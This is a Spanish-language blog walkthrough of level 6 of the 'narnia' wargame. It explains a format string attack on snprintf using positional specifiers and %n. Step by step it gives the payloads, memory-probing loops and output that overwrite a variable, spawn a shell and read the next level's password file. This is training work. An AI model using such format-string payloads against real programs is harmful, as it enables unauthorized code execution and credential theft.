systemadmin.es > Programación > Wargame narnia: Nivel 6

Wargame narnia: Nivel 6

Vamos a seguir la serie del wargame narnia con el nivel 6. Éste es completamente diferente a los anteriores al no poder utilizar un buffer overflow.

El código que nos proponen es el siguiente:

/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv){
        int i = 1;
        char buffer[64];

        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");

        if(i==500){
                printf("GOOD\n");
                seteuid(1007);
                system("/bin/sh");
        }

        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}

El objetivo de este nivel es modificar el valor de la variable i por 500 para obtener una shell del nivel siguiente. Para copiar del argv[1] al buffer utiliza snprintf, por lo que no podemos intentar un buffer overflow ya que no va a escribir nunca más que el tamaño del buffer: sizeof(buffer)

        snprintf(buffer, sizeof buffer, argv[1]);

También podemos ver que antes de imprimir el buffer se deja el último carácter a cero para evitar que si este no es cero el programa no siga imprimiendo hasta encontrar uno en las regiones posteriores de memoria:

        buffer[sizeof (buffer) - 1] = 0;

La única opción que tenemos es ver que podemos hacer con el snprintf.

Pensando en la función snprintf

Pensando en la función snprintf

Deberemos usar un format string attack, por lo que deberemos buscar las opciones interesantes de la familia printf. Por lo menos nos indican la dirección dónde se encuentra la variable que debemos modificar:

level6@narnia:~$ /wargame/level6 aa
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [aa] (2)
i = 1 (0xbffffa4c)

Para ver como funciona la función printf podemos usar de ejemplo un trozo de código del SOFRiki, el sistema operativo que hice como proyecto final de carrera de la Ingeniería técnica de sistemas (por fin he encontrado un post donde colarlo!)

La función tiene un aspecto general como el siguiente:

void printfk(char *buf, ...)
{
        va_list lst;
        va_start(lst,buf);

        (...)

        if(*(buf+1)=='h') //hex
        {
                i2charhex(va_arg(lst,int));
                ++buf;
        }

        (...)

        va_end(lst);
}

Como es lógico la función printf no puede saber cuantos argumentos se le pasan, por lo que a medida que se encuentra que los necesita los extrae de la pila.

Además, si queremos ir a un elemento en concreto podemos usar su posición junto el símbolo $. Por ejemplo:

$ cat printf.c 
#include <stdio.h>

int main(void)
{
        printf("%2$d %1$d\n",1,2);

        return 0;
}
$ gcc printf.c 
$ ./a.out 
2 1

Gracias a esta característica podemos explorar el contenido de la memoria:

level6@narnia:~$ for i in $(seq 1 25); do /wargame/level6 %$i\$x; done | grep buffer
buffer : [177ff8e] (7)
buffer : [1000000] (7)
buffer : [0] (1)
buffer : [28000000] (8)
buffer : [656e6f6e] (8)
buffer : [0] (1)
buffer : [0] (1)
buffer : [bffffbd8] (8)
buffer : [b7f15f1e] (8)
buffer : [b7fb5af9] (8)
buffer : [b7fdfff4] (8)
buffer : [bffffa28] (8)
buffer : [80483b0] (7)
buffer : [b7fdfff4] (8)
buffer : [8049760] (7)
buffer : [bffffa38] (8)
buffer : [80482fd] (7)
buffer : [2] (1)
buffer : [bffffad4] (8)
buffer : [bffffa58] (8)
buffer : [8048579] (7)
buffer : [b7ebdc8c] (8)
buffer : [b7fdfff4] (8)
buffer : [0] (1)
buffer : [1] (1)

Si añadimos alguna marca podemos ver en que posición tenemos el parámetro:

level6@narnia:~$ for i in $(seq 1 25); do /wargame/level6 aaaabbbb%$i\$x; done | grep buffer
buffer : [aaaabbbb177ff8e] (15)
buffer : [aaaabbbb1000000] (15)
buffer : [aaaabbbb0] (9)
buffer : [aaaabbbb28000000] (16)
buffer : [aaaabbbb656e6f6e] (16)
buffer : [aaaabbbb61616161] (16)
buffer : [aaaabbbb62626262] (16)
buffer : [aaaabbbbbffffbd0] (16)
buffer : [aaaabbbbb7f15f1e] (16)
buffer : [aaaabbbbb7fb5af9] (16)
buffer : [aaaabbbbb7fdfff4] (16)
buffer : [aaaabbbbbffffa18] (16)
buffer : [aaaabbbb80483b0] (15)
buffer : [aaaabbbbb7fdfff4] (16)
buffer : [aaaabbbb8049760] (15)
buffer : [aaaabbbbbffffa28] (16)
buffer : [aaaabbbb80482fd] (15)
buffer : [aaaabbbb2] (9)
buffer : [aaaabbbbbffffac4] (16)
buffer : [aaaabbbbbffffa48] (16)
buffer : [aaaabbbb8048579] (15)
buffer : [aaaabbbbb7ebdc8c] (16)
buffer : [aaaabbbbb7fdfff4] (16)
buffer : [aaaabbbb0] (9)
buffer : [aaaabbbb1] (9)

Si contamos los seis valores vemos que allí empieza la cadena con las a (en ASCII 61h):

buffer : [aaaabbbb61616161] (16)

Podemos comprobarlo indicando la posición 6 y ver que contenido tiene el buffer:

level6@narnia:~$ /wargame/level6 aaaa%6\$x 
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [aaaa61616161] (12)
i = 1 (0xbffffa4c)

Esto hasta el momento no nos sirve de mucho, pero más adelante lo necesitaremos.

Para poder modificar una posición de memoria aleatoria (lo que realmente nos interesa) tenemos una opción muy interesante, la %n.

Esta opción escribe el numero de bytes que usa el printf en una dirección que se le pasa como parámetro. Podemos ver un ejemplo con el siguiente código:

$ cat printf.c 
#include <stdio.h>

int main(int argc, char *argv[])
{
        int count=0;

        printf("%s%n\n",argv[1],&count);

        printf("La cadena tiene %d caracteres\n",count);

        return 0;
}
$ gcc printf.c 
$ ./a.out 1234
1234
La cadena tiene 4 caracteres

Si combinamos la posibilidad de conocer la posición de nuestros datos con a posibilidad de escribir en una posición de memoria lo que tenemos es que podemos indicar al printf que escriba en una posición que le podemos pasar por parámetro.

Podemos usar la dirección que nos indica el programa (0xbffffa4c) como primer valor de la cadena, el cual como hemos visto anteriormente, se sitúa en la posición número 6: entonces gracias al %n de la posición 6 (%6$n) estaremos modificando el contenido de la variable i (dirección 0xbffffa4c):

level6@narnia:~$ /wargame/level6 $(perl -e 'print "\x4c\xfa\xff\xbf";')%6\$n
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [L???] (4)
i = 4 (0xbffffa4c)

Nos ha escrito en la variable i un 4 porque son el número de bytes que ha usado el printf para la direción de memória. Si añadimos un carácter más a continuación escribiremos un 5:

level6@narnia:~$ /wargame/level6 $(perl -e 'print "\x4c\xfa\xff\xbf";')z%6\$n
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [L???z] (5)
i = 5 (0xbffffa4c)

El problema ahora es escribir el valor que nos interese, en este caso 500. Para ello podemos usar la opción de padding de printf: Si incluimos un valor numérico entre el % y el modificador, por ejemplo d para un int tendremos como resultado una cadena con un padding hasta llegar a los n caracteres, por ejemplo:

$ cat padding.c 
#include <stdio.h>

int main(void)
{
	printf("%10d\n",10);
	printf("%10d\n",100);

	return 0;
}
$ gcc padding.c 
$ ./a.out 
        10
       100

Por lo que simplemente podemos añadir un número grande y ver que pasa:

level6@narnia:~$ /wargame/level6 $(perl -e 'print "\x4c\xfa\xff\xbf";')%400x%6\$n
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [L???                                                           ] (63)
i = 1 (0xbffffa3c)
Segmentation fault

Pero nos cruzamos con un Segmentation fault

¿Por que no funciona?

¿Por que no funciona?

Antes de quejarnos debemos fijarnos que cómo la cadena argv[1] ha crecido en tamaño, la variable i ha cambiado de posición y ahora su dirección es 0xbffffa3c en lugar de 0xbffff4c por lo que simplemente deberemos modificar la dirección y volverlo a intentar:

level6@narnia:~$ /wargame/level6 $(perl -e 'print "\x3c\xfa\xff\xbf";')%400x%6\$n
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [<???                                                           ] (63)
i = 404 (0xbffffa3c)

Como lo hemos conseguido simplemente debemos restar los 4 bytes del tamaño de la dirección al 500 que queremos conseguir y usar este valor de padding, en este caso 496:

$ echo "500-4" | bc -l
496

Con lo que obtendremos la shell con uid 1007 y por lo tanto la contraseña para el siguiente nivel:

level6@narnia:~$ /wargame/level6 $(perl -e 'print "\x3c\xfa\xff\xbf";')%496x%6\$n
Change i's value from 1 -> 500. GOOD
sh-3.1$ cat /home/level7/.passwd
Iz3igh:u

Podemos ya pasar al siguiente nivel.

ENGAGE!

ENGAGE!

El listado de soluciones de otros niveles del wargame de narnia es el siguiente:

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>